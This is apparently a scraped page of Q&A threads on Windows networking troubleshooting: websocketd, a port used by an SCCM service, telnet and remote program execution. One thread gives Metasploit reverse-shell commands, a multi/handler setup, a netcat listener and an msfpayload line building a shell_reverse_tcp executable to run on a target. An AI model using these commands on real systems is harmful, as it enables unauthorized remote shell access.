server.bash is not a valid win32 application - bash

I'm trying to host a simple (demo) websocketd server. Basically, it listens to incoming websocket connections and routes them towards my server. However, when I run the websocketd --port=8069 server.bash (In the correct directory, websocketd running as admin) I get the following error when trying to connect to ws://localhost:8069:
Could not launch process .\server.bash (fork/exec .\server.bash: %1 is not a valid Win32 application.)
I've looked into netstat and the 8069 IS listening for incoming connections.
I've also tried running a python server (I have it installed) but I get the same error
//System Info:
I'm running x64 windows 10.

Description of websocketd from the url you provided
It takes care of handling the WebSocket connections,
launching your programs to handle the WebSockets, ....
So basically websocketd is trying to execute server.bash which doesn't work because windows doesn't recognize this file as executable.
This script was probably meant to be run on linux in the first place however if you have installed bash already on windows u can try running it by replacing
websocketd --port=8069 server.bash
with
websocketd --port=8069 bash server.bash

Related

Port 8005 is used By Windows 10 System Process

Since today, the port 8005 is used for a Windows System Process. When i try to acces to the url http:localhost:8005 ,i can see a Blank Web Page, with no code and no info from any Web Server (No welcome web page or similar).
With the netstat command i can see that the process that uses this port is System process. Any idea why windows is using suddenly this port?
EDIT: Not duplicate question. I don't have another Tomcat installation, the problem comes from a windows process, not for another tomcat instance.
Check if port 8005 is really in use by Windows :
Install and run Sysinternals TCPView and
Check if the line with "Local Port" 8005 has as "Process" System
Or check the file c:\Windows\CCM\Logs\DeltaDownload.log for port 8005
If the port is in use by system, go to Computer Management and stop the service "SMS Agent Host" or open a command prompt as administrator and type:
sc stop CcmExec
The problems comes from a Windows Service:
https://www.niallbrady.com/2017/02/15/how-can-i-use-express-updates-when-patching-windows-10-with-quality-updates-in-system-center-configuration-manager-current-branch/
Not from another Tomcat instance.
I too was facing the same with windows 10 and ran the command netstat -a -b which showed CmRcService.exe is using the port 8005 on the machine.
The most weird part is sometimes if i hit localhost:8005 in the browser url its asking for username and password to access the page and in the developers tools I cannot see any application name or data whatsoever

Standalone multi/handler reverse_tcp

Sorry for my english.
Using metasploit I generated an exploit for windows 7 with windows/shell/reverse_tcp payload.
Then I waiting connection using msfconsole:
use exploit/multi/handler
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.182.129
set LPORT 4444
exploit
I am successfully connected to command line of windows.
However I need to expect connection without using metasploit. I found how to create standalone module, but it was only for an exploit.
I need standalone multi/handler reverse_tcp or simply the code which listens to a certain port and then gives access to command line.
I don't really know what your constraints/restrictions are.
My guess is that, you want to "receive shells" on a computer without metasploit installed on it.If that's the case, you could use msfd(metasploit daemon installed on a different computer) or simply netcat,socat,...
What do you think of this:
listening with netcat on 192.168.1.2# nc -l -p 4444
Using a shell_reverse_tcp instead# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 X /root/darkbird.exe
Execute darkbird.exe on the target

Sending data through Telnet-established connection on windows command line

I have connected to an outside server using telnet on windows cmd. I have a program written in Ruby running on my local machine whose output needs to be passed as a command in the server running. How do I go about with it?
You can't. A telnet connection is pretty easy to do in Ruby though, just make your own connection.

Exec a program on client runs a programm on server

First of all I have spent over 4 hours researching this topic..
So I have a Windows 2008 r2 root server at the moment. I connect to it via Remote Desktop.
Now I want to write a program that runs batch files on the server but the program is at client side, I have tried to setup an SSH server on my Windows server with Freesshd.
That seems to work but the programs are not shown. (In Taskmanager are they)
Is there way (prefer SSH) to let them show normally?
The goal is to restart programs (Gameservers).
My Program will work so: if I press restart server it will connect (if SSH) via Putty to the server to exec the batch file.
Or will start another program with parameters something like this:
Clientprogramm -ip 95.25.115.** -user Administrator -p xxxxxx C:\gameserverdir\start.bat
Simple and fine. I have done that already for Linux and there it isn't that hard.
So if you have an idea that can help me would be nice to know.
Both system are Windows!
If you are using SSH, the tool you need is plink. It's putty for command line.
Or, as indicated in comments, you can use psexec, or powershell, or vbscript, or .... BUT started programs are only "visible" in the same session from where they were started.

Telnet to Server Trying to Open Program Cant see it

I telnetted to my server and i tried to open a simple program say notepad.exe or skype.exe.For some reason on my desktop it does not open when i use telnet to do so, but a process does initiate when i run it from telnet.
How come i cant see the program open on my desktop when i telnet to my server and run a program?
I am running the telnet server on a vm and using the client on my host computer.
I run simple command like this
*===============================================================
Welcome to Microsoft Telnet Server.
*===============================================================
C:\Program Files\Skype\Phone>Skype.exe
Telnet is a text-based utility. Notepad, Skype, et al require a graphics interface not available to a telnet client, therefore they won't start. It doesn't matter that the telnet client and server are on the same hardware.
You can initiate a process on a remote machine via a telnet client because it doesn't require a user interface.

Resources